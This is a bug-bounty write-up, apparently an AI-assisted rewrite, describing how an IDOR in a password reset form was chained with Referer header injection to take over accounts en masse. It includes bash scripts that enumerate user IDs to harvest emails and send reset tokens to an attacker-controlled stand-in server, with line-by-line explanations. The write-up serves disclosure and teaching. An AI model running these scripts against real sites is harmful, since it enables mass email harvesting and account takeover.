Skip to content
IDOR Write-up Intermediate

Chaining IDOR and Host Header can takeover 18 Billion of users account

The password reset endpoint exposed user email addresses through an IDOR by changing the user ID parameter, and it also accepted a manipulated Referer header to send reset tokens to an attacker-controlled server. Chaining these flaws could let an attacker obtain reset links for many accounts and take them over.

Sahil Mehra Follow

Published on nullr3x.medium.com

{{media:0}}

Sahil Mehra, on nullr3x.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target is a site referred to throughout as redacted.com, and the feature under examination is its password reset flow. A user reaches the reset page at https://redacted.com/reset, supplies an email address, and the application sends a reset link to that address. The write-up describes two separate weaknesses in this flow, an IDOR that discloses the email address tied to a user ID, and a Host Header Injection that redirects the reset token to an attacker-controlled server, and then shows how chaining them leads to mass account takeover.

Setup

The researcher captures and modifies the reset request. No accounts, roles or software versions are described beyond that. The only precondition is the ability to submit the reset form and tamper with the resulting request.

Finding it

When the reset form is submitted, the intercepted request carries two parameters, email and id. That pairing is the first signal: a reset request that identifies the user by a numeric id as well as by email invites tampering with the identifier. The researcher notes that the email parameter does not matter for fetching the victim's email, so the id value alone controls which record the response describes. The second signal is that changing the Referer header to an attacker-controlled host causes the reset token to be sent there.

Exploitation

Step 1: IDOR in the password reset functionality

  1. Navigate to https://redacted.com/reset.
  2. Enter your email address and intercept the request.
  3. In the request there are two parameters, email and id.
  4. Leave the email parameter unchanged, because it does not matter for fetching the victim's email, and modify the id parameter value.
  5. The response reveals the victim's email address associated with the manipulated user ID.

The id parameter is a direct reference to a user record with no ownership check, so incrementing or otherwise changing it returns the email address belonging to that ID. The email parameter is ignored for this lookup, which is why it can stay as the attacker's own address.

Step 2: Host Header Injection in the password reset functionality

  1. Copy the victim's email obtained through the IDOR exploit.
  2. Paste the victim's email into the email address field and intercept the request.
  3. Change the Referer header from https://redacted.com to https://your_Server.com.
  4. The reset password token is then sent to your server for the victim's account.

Changing the Referer header to an attacker-controlled host causes the reset token to be delivered there. Combined with the email harvested in step 1, the attacker can request a reset for any user and receive the token themselves.

Step 3: Mass account takeover

With the token in hand, the attacker can complete the reset and take over the account. Repeated across the user base, this results in a mass takeover of accounts on the redacted.com platform.

Automating the process

The write-up splits automation into two scripts. The first builds a wordlist of victim emails by iterating over user IDs.

Bash
#!/bin/bashurl="https://redacted.com/reset"output_file="output.txt"email_regex="\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b"for ((id=1; id<=10000; id++)); do    response=$(curl -s -X POST $url --data "email=&id=$id")    email=$(echo "$response" | grep -oP "$email_regex")        if [ -n "$email" ]; then        echo "ID: $id -> Email: $email >> "$output_file"    fidone

The script posts an empty email and each id from 1 to 10000 to the reset endpoint, extracts any email address from the response with a regular expression, and appends the ID and email pair to output.txt when a match is found. The empty email value confirms that the lookup depends only on id.

The second script uses that wordlist to request a reset for each address and capture the tokens on the attacker's server.

Bash
#!/bin/bashinput_file="output.txt"your_server="https://your_server.com"while IFS= read -r line; do    id=$(echo "$line" | grep -oP 'ID: \K[0-9]+')    email=$(echo "$line" | grep -oP 'Email: \K[^,]+')    response=$(curl -s -X POST https://redacted.com/reset --data "email=$email&id=$id" -H "Referer: $your_server")    echo "ID: $id -> Reset Token Sent for $email"done < "$input_file"

For each line it extracts the ID and email, posts them to the reset endpoint with the Referer header set to the attacker's server, and logs that a reset token was sent for that address. The tokens themselves arrive at your_server.

The write-up adds an important condition: the server only sends the reset password link when the email and user ID match; otherwise it discloses the email associated with the user ID. That is why the harvested pairs from the first script are needed for the second, and why the IDOR alone is a disclosure bug while the chain is a takeover.

Root cause

The reset endpoint trusts a client-supplied id to select the user record and returns the associated email without verifying that the requester owns that record, which is a classic IDOR. Separately, changing the Referer header to an arbitrary host causes the token to be sent there. Neither control appears to be present: there is no authorisation check on the id lookup and no validation of the header used to construct the link. The write-up does not describe any existing defence that was bypassed.

Impact

Exploiting the IDOR reveals user emails, and the Host Header Injection allows attackers to intercept reset password links, leading to mass disclosure. Chaining the two leads to mass account takeovers, granting unauthorised access to sensitive user data and activities. The write-up notes that the fallout from a mass account takeover and data breach can incur substantial financial losses, including incident response, legal action and operational disruption, and can severely damage the platform's reputation and erode user trust.

Fix

The write-up recommends strengthening input validation to verify inputs and avoid tampering with parameters, enhancing session management to detect and prevent unauthorised access, and implementing strict validation of Host headers to mitigate Host Header Injection risks.

Variants to test

  • On other reset endpoints, submit the form and look for a numeric or otherwise guessable identifier alongside the email. A positive result is a response that returns another user's email when the identifier is changed.
  • Send the reset request with an empty email and a valid ID. If the response still contains an email, the lookup depends only on the identifier.
  • Change the Referer header to a host you control and complete a reset for your own account. A positive result is a reset link or token arriving at your server.
  • Automate ID enumeration over a range of IDs and check whether the response discloses emails, then pair each email with its ID to test whether a reset token is issued when both match.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A website (called redacted.com in this write-up) has a "forgot my password" feature. You type your email address, the site sends you a link, you click it, and you set a new password. That is the normal, intended behaviour.

The researcher found two separate problems in that feature, and showed that putting them together lets an attacker take over other people's accounts in bulk.

The first problem is that the request the browser sends when you submit the reset form contains a number that identifies a user, and the site will happily tell you the email address belonging to any number you ask for. This kind of bug is called an IDOR (Insecure Direct Object Reference): the site uses a raw identifier to look something up and never checks whether you are allowed to see that record. A simple comparison: imagine a hotel where room keys are numbered, and reception hands you the key to room 412 just because you asked for "412", without checking that you booked it.

The second problem is that changing a value supplied by the browser (the Referer header, which normally tells a server which page you came from) causes the reset token to be sent to the attacker's server. If an attacker changes that value to their own server, the reset link, including the secret token inside it, is sent to the attacker instead of the real user. That is a Host Header Injection style flaw: the site trusts a piece of information the client controls when deciding where to send something.

Neither bug alone is a full takeover. The first leaks email addresses. The second lets an attacker receive reset tokens, but only if they know which email to request a reset for. Chained together, the attacker harvests emails with the first bug and then collects reset tokens for those emails with the second, which means they can reset the password on any account they enumerated.

Sahil Mehra
Sahil Mehra From the original on nullr3x.medium.com

The write-up is by Sahil Mehra (@nullr3x) and was published on Medium.

The feature under test

Before the bugs, a quick tour of the pieces involved, because the rest of the article assumes them.

  • A web form: the boxes and buttons on a page. Here it is the "enter your email to reset your password" form at https://redacted.com/reset.
  • A request: when you press submit, your browser sends a small message to the server. It has a method (usually POST when you are sending data), a URL, some headers (extra labels such as what page you came from), and a body (the actual data, such as your email).
  • A parameter: one named value inside that body. In email=[redacted]&id=42, there are two parameters: email with the value [redacted], and id with the value 42. The & separates them.
  • A response: what the server sends back. It might be a web page, a redirect, or just some text or JSON data.
  • A header: a line of metadata attached to a request or response. Referer is a standard header in which the browser tells the server the address of the page that linked here. (Yes, the standard spelling is "Referer", a historical typo that stuck.)
  • A token: a long random string that acts like a temporary password. In a reset flow, the email contains a link with a token in it; whoever holds the token can set a new password. Treat it like a key: if someone else gets a copy, they can open the door.
  • An intercepting proxy: a tool that sits between your browser and the server, so you can pause a request, read it, change a value, and then let it continue. It is how you see and edit the parameters and headers described above. You do not need to install one to follow the story, but it is the tool the researcher used.
  • curl: a command-line program for sending HTTP requests. The scripts below use it to send the same request many times without a browser.
  • A bash script: a text file of commands for a Unix-like shell. The for and while loops in the scripts simply repeat a command with different values.
  • A regular expression (regex): a pattern for finding text. The scripts use one to pull email addresses out of a response.
  • IDOR: Insecure Direct Object Reference. The application takes an identifier from the user (a number, a filename, an order ID) and uses it to fetch a record, without checking that the user is allowed to access that record. The fix is an authorisation check: does this logged-in user own this record?
  • Host Header Injection: broadly, the application trusts a hostname supplied by the client (in the Host header, or here in Referer) when it builds links or decides where to send something. The attacker supplies their own hostname, and the application sends secrets there.
  • Account takeover: getting control of someone else's account, usually by resetting their password so the real owner is locked out.

Bug scenario

First: IDOR in the password reset functionality

The researcher opened the reset page, submitted their own email address, and intercepted the outgoing request. The request contained two parameters, email and id. That pairing is the clue: a reset request that identifies the user by a number as well as by email invites tampering with the number.

The steps, as given in the write-up:

  1. Navigate to https://redacted.com/reset.
  2. Enter your email address and intercept the request.
  3. In the request there are two parameters, email and id.
  4. Leave the email parameter unchanged, because it does not matter for fetching the victim's email, and modify the id parameter value.
  5. The response reveals the victim's email address associated with the manipulated user ID.

Why each step matters:

  1. This is the ordinary reset page. Nothing special is needed to reach it; it is public.
  2. Submitting your own address gives you a valid request to study. Intercepting it means you can see and edit it before it reaches the server.
  3. Seeing id alongside email is the moment to be suspicious. If the server uses id to decide whose record to look at, then changing id changes whose record you are looking at.
  4. The researcher found that the email value is ignored for the lookup, so it can stay as the attacker's own address. Only id controls the result. This is the essence of the IDOR: the number is a direct reference to a user record, and there is no ownership check.
  5. The server replies with the email address belonging to whatever id you sent. Change the number, get a different person's email. Repeat with 1, 2, 3 and you have a list.

At this point the bug is a disclosure: it leaks email addresses. On its own it does not let you log in as anyone.

Second: Host Header Injection in the password reset functionality

The second bug is about where the reset link is sent. The site builds the link using the Referer header, which the browser supplies and which an attacker can therefore change. The steps:

  1. Copy the victim's email obtained through the IDOR exploit.
  2. Paste the victim's email into the email address field and intercept the request.
  3. Change the Referer header from https://redacted.com to https://your_Server.com.
  4. The reset password token is then sent to your server for the victim's account.

Why each step matters:

  1. The IDOR gave you a real address that belongs to a real account. Without it, you would not know whose reset to request.
  2. You now ask the site to reset the password for that address, exactly as the real user would. The site has no reason to refuse; it thinks a user forgot their password.
  3. The Referer header normally says which page you came from. By replacing it with your own server's address, you cause the reset token to be sent to your server.
  4. The site generates the secret token and sends the reset email, but the link inside it leads to your server, so the token arrives in your hands. You can then use it to set a new password on the victim's account.

Third: the result, mass account takeover

With the token in hand, the attacker completes the reset and controls the account. Doing this for many users, one after another, is a mass takeover of accounts on the redacted.com platform.

Automating the process

Doing this by hand for one account is slow. The write-up splits the work into two scripts: one to collect email addresses, one to collect reset tokens.

First step: build a list of victim emails

Bash
#!/bin/bashurl="https://redacted.com/reset"output_file="output.txt"email_regex="\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b"for ((id=1; id<=10000; id++)); do    response=$(curl -s -X POST $url --data "email=&id=$id")    email=$(echo "$response" | grep -oP "$email_regex")        if [ -n "$email" ]; then        echo "ID: $id -> Email: $email >> "$output_file"    fidone

Line by line, in plain words:

  • #!/bin/bash tells the operating system to run this file with the bash shell.
  • url="https://redacted.com/reset" stores the reset page address in a variable called url, so it is written once and reused.
  • output_file="output.txt" stores the name of the file where results will be saved.
  • email_regex="..." stores a pattern that matches something that looks like an email address: some letters, digits and symbols, an @, a domain, a dot, and a suffix of at least two letters. The script will use it to find addresses in the server's reply.
  • for ((id=1; id<=10000; id++)); do starts a loop: run the following commands once for each number from 1 to 10000, storing the current number in id.
  • response=$(curl -s -X POST $url --data "email=&id=$id") sends a POST request to the reset URL with an empty email and the current id, and saves the reply in response. The empty email is deliberate: it proves the lookup depends only on id. -s keeps curl quiet, and -X POST sets the method.
  • email=$(echo "$response" | grep -oP "$email_regex") searches the reply for the email pattern and keeps only the matching text.
  • if [ -n "$email" ]; then checks whether anything was found. -n means "the string is not empty".
  • echo "ID: $id -> Email: $email >> "$output_file" writes a line such as ID: 42 -> Email: [redacted] into output.txt. (As printed in the write-up, the redirection is inside the quotes, which is a typo; the intent is to append to the file.)
  • fi ends the if, and done ends the loop.

The result is a file pairing each user ID with the email address the server disclosed for it. That pairing is what the second script needs.

Second step: request resets and capture the tokens

Bash
#!/bin/bashinput_file="output.txt"your_server="https://your_server.com"while IFS= read -r line; do    id=$(echo "$line" | grep -oP 'ID: \K[0-9]+')    email=$(echo "$line" | grep -oP 'Email: \K[^,]+')    response=$(curl -s -X POST https://redacted.com/reset --data "email=$email&id=$id" -H "Referer: $your_server")    echo "ID: $id -> Reset Token Sent for $email"done < "$input_file"

Line by line:

  • #!/bin/bash again selects the bash shell.
  • input_file="output.txt" is the file produced by the first script.
  • your_server="https://your_server.com" is the attacker-controlled address that will be placed in the Referer header.
  • while IFS= read -r line; do reads the file one line at a time, keeping each line intact in line.
  • id=$(echo "$line" | grep -oP 'ID: \K[0-9]+') pulls the number after ID: out of the line. The \K in the pattern means "match what comes after this point", so only the digits are kept.
  • email=$(echo "$line" | grep -oP 'Email: \K[^,]+') pulls out the text after Email: , up to the next comma.
  • response=$(curl -s -X POST https://redacted.com/reset --data "email=$email&id=$id" -H "Referer: $your_server") sends the reset request for that email and ID, with the Referer header set to the attacker's server. -H adds a header to the request.
  • echo "ID: $id -> Reset Token Sent for $email" prints a progress line so the attacker can see which addresses have been processed.
  • done < "$input_file" ends the loop and feeds the file into it.

The tokens themselves do not appear in the script's output; they arrive at your_server, because that is where the reset link now points.

Why the two scripts must be paired

The write-up adds an important condition: the server only sends the reset password link when the email and user ID match; otherwise it discloses the email associated with the user ID. That is why the harvested pairs from the first script are needed for the second. If you send an email with the wrong ID, you get a disclosure, not a token. If you send the right pair, the token is issued, and because of the Referer trick it is delivered to the attacker. This is also why the IDOR alone is a disclosure bug, while the chain is a takeover.

Root cause

Two independent trust mistakes sit behind the chain.

  1. The reset endpoint trusts a client-supplied id to select the user record and returns the associated email without checking that the requester owns that record. That is a classic IDOR: a direct reference to an object, with no authorisation check.
  2. Changing the Referer header to an arbitrary host causes the token to be sent there.

Neither control appears to be present: there is no authorisation check on the id lookup and no validation of the header used to build the link. The write-up does not describe any existing defence that was bypassed.

Impact

As the write-up puts it:

  1. Exploiting the IDOR reveals user emails, while the Host Header Injection allows attackers to intercept reset password links, leading to mass disclosure.
  2. The chaining of IDOR and Host Header Injection leads to mass account takeovers, granting unauthorised access to sensitive user data and activities.
  3. The fallout from a mass account takeover and data breach can incur substantial financial losses, including costs for incident response, legal actions, and operational disruptions for redacted.com.
  4. Successful exploitation of these vulnerabilities can severely damage redacted.com's reputation, eroding user trust in the platform's security measures.

In everyday terms: the first bug hands out a list of who has an account, and the second hands out the keys to those accounts. Together they turn a password reset feature into a way to log in as anyone whose email you can enumerate.

Mitigation

The write-up recommends:

  1. Strengthen input validation mechanisms, for verifying inputs to avoid any tampering with parameters.
  2. Enhance session management practices to detect and prevent unauthorised access.
  3. Implement strict validation of Host headers to mitigate Host Header Injection risks.

Variants to test

  • On other reset endpoints, submit the form and look for a numeric or otherwise guessable identifier alongside the email. A positive result is a response that returns another user's email when the identifier is changed.
  • Send the reset request with an empty email and a valid ID. If the response still contains an email, the lookup depends only on the identifier.
  • Change the Referer header to a host you control and complete a reset for your own account. A positive result is a reset link or token arriving at your server.
  • Automate ID enumeration over a range of IDs and check whether the response discloses emails, then pair each email with its ID to test whether a reset token is issued when both match.

Glossary

  • API: a way for one piece of software to talk to another, usually by sending requests and receiving structured replies. The reset endpoint is effectively a small API behind a web form.
  • Account takeover: gaining control of someone else's account, typically by resetting their password so the real owner can no longer log in.
  • Authorisation check: a check that the person making a request is allowed to access the record or action they are asking for. Its absence is what makes an IDOR possible.
  • Bash: a command-line shell and scripting language common on Linux and macOS.
  • curl: a command-line tool for sending HTTP requests, useful for repeating a request many times with different values.
  • Header: a line of metadata attached to an HTTP request or response, such as Referer or Host.
  • Host Header Injection: a flaw where the application trusts a hostname supplied by the client when building links or deciding where to send data, letting an attacker redirect secrets to their own server.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • IDOR (Insecure Direct Object Reference): a flaw where the application uses an identifier supplied by the user to fetch a record without checking that the user is allowed to access it.
  • Intercepting proxy: a tool placed between browser and server that lets you pause, read and edit requests and responses.
  • Parameter: a named value in a request, such as email or id in email=[redacted]&id=42.
  • POST: an HTTP method used when sending data to the server, as a form submission does.
  • Referer: a standard HTTP header in which the browser reports the address of the page that led to the current request. Applications should not trust it for security decisions.
  • Regex (regular expression): a pattern used to find or extract text, such as email addresses in a response.
  • Request: the message a browser or tool sends to a server, with a method, URL, headers and body.
  • Response: the message the server sends back.
  • Token: a long random string that acts as a temporary key, here the value in a password reset link that lets whoever holds it set a new password.
  • Wordlist: a file of candidate values, here a list of email addresses paired with user IDs, used as input to a later step.

More by Sahil Mehra

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.